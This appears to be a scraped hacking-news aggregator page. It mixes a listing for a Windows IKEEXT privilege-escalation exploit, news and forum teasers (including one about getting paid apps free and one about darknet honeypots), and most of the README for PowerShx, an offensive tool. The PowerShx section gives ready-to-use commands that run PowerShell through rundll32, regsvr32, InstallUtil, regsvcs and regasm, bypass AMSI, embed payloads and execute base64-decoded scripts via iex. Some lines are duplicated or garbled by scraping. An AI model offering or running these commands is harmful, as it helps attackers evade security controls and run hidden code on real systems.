Exploit Collector
Windows IKEEXT AuthIP Unvalidated GSS_ID Privilege Escalation

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
The Windows IKEEXT service does not verify the SPN when performing AuthIP authentication leading to leaking authentication tokens to untrusted systems.

MD5 | 19bf4133c3ff6d58a5febb0a150ebaf7

Download
Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
What Squid Game Teaches Us About Cybersecurity

When life inside the security operations center feels treacherous, here are some suggestions for getting out alive.

Dark Reading: Attacks/Breaches
7 Ways to Lock Down Enterprise Printers

Following the PrintNightmare case, printer security has become a hot issue for security teams. Here are seven ways to keep printers secure on enterprise networks.

hacking: security in practice
Intel VPro - remote management even if pc is "down"?

I've known Intel chips can implement remote management but how is this possible? And when it's exploited what will the ramifications be?

https://www.reddit.com/user/IntelBusiness/comments/py9i3m/laptops_on_intel_vpro_with_evo_designs_let_it/?utm_medium=android_app&utm_source=share

submitted by /u/ShavingPrivatesCryin
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
How do I know which sites are “honeypots” or governmentally ran? Is there a way to tell???

Me and my friend go on DW and I’ll usually watch through discord via stream cus I’m a pussy and wont download TOR on my pc. We were curious what’s acceptable to click and what isn’t, and also how to know

submitted by /u/Top_Gate_9017
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Анонимность? Серьезно?

https://cdn-images-1.medium.com/max/2048/1*G4bFVTSIe43O8JCRC31s5Q.jpeg
Существуют ли технологии массовой слежки за населением в других странах?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
4 Way to get paid app for free (100% working)

https://cdn-images-1.medium.com/max/1280/0*-yG7_kAKDK6RG8L_
A few applications and games on Android expect you to pay to have the option to utilize them. While it’s in every case great to help the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What ingredients make a successful cyber-attack? Part 3: Persistence

https://cdn-images-1.medium.com/max/2000/0*z7-iIUPOr2bFzB6_.jpg
Putting the ‘P’ in ‘APT’

Continue reading on Emergent Phenomena »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Kit de exploits Magnitude se aprovecha de vulnerabilidades en Chrome

https://cdn-images-1.medium.com/max/1441/0*Lbp2bJ5b2RRLbrPF
PUBLICADO EN 22 OCTUBRE, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack This Site: Javascript Mission — Level 4

https://cdn-images-1.medium.com/max/2000/0*GrIBoJGRyd0idQ6Z
Introduction

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

PowerShx - Run Powershell Without Software Restrictions
http://www.kitploit.com/2021/10/powershx-run-powershell-without_0539831274.html

___________________________
@hacking_Attack
@Hacking_Video

Unmanaged PowerShell (https://www.kitploit.com/search/label/PowerShell) execution using DLLs or a standalone executable.
Introduction
PowerShx is a rewrite and expansion on the PowerShdll (https://github.com/p3nt4/PowerShdll) project. PowerShx provide functionalities for bypassing (https://www.kitploit.com/search/label/Bypassing) AMSI and running PS Cmdlets.
Features
Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.Run Powershell without powershell.exe or powershell_ise.exeAMSI Bypass features.Run Powershell scripts directly from the command line (https://www.kitploit.com/search/label/Command%20Line) or Powershell filesImport Powershell modules and execute Powershell Cmdlets.
Usage

.dll version

rundll32
rundll32 PowerShx.dll,main -f Run the script passed as argument rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet rundll32 PowerShx.dll,main -w Start an interactive console in a new window rundll32 PowerShx.dll,main -i Start an interactive console rundll32 PowerShx.dll,main -s Attempt to bypass AMSI rundll32 PowerShx.dll,main -v Print Execution Output to the console ">rundll32 PowerShx.dll,main -e
rundll32 PowerShx.dll,main -f Run the script passed as argument
rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console

Alternatives (Credit to SubTee for these techniques):
Calls DllUnregisterServer regsvr32 /s PowerShx.dll --> Calls DllRegisterServer ">1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

.exe version
PowerShx.exe -f Run the script passed as argument PowerShx.exe -f -c Load a script and run a PS cmdlet PowerShx.exe -s Attempt to bypass AMSI. ">PowerShx.exe -i Start an interactive console
PowerShx.exe -e
PowerShx.exe -f Run the script passed as argument
PowerShx.exe -f -c Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.

Embedded payloads
Payloads can be embedded by updating the data dictionary (https://www.kitploit.com/search/label/Dictionary) "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}

Examples

Run a base64 encoded script
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
Run a base64 encoded script

___________________________
@hacking_Attack
@Hacking_Video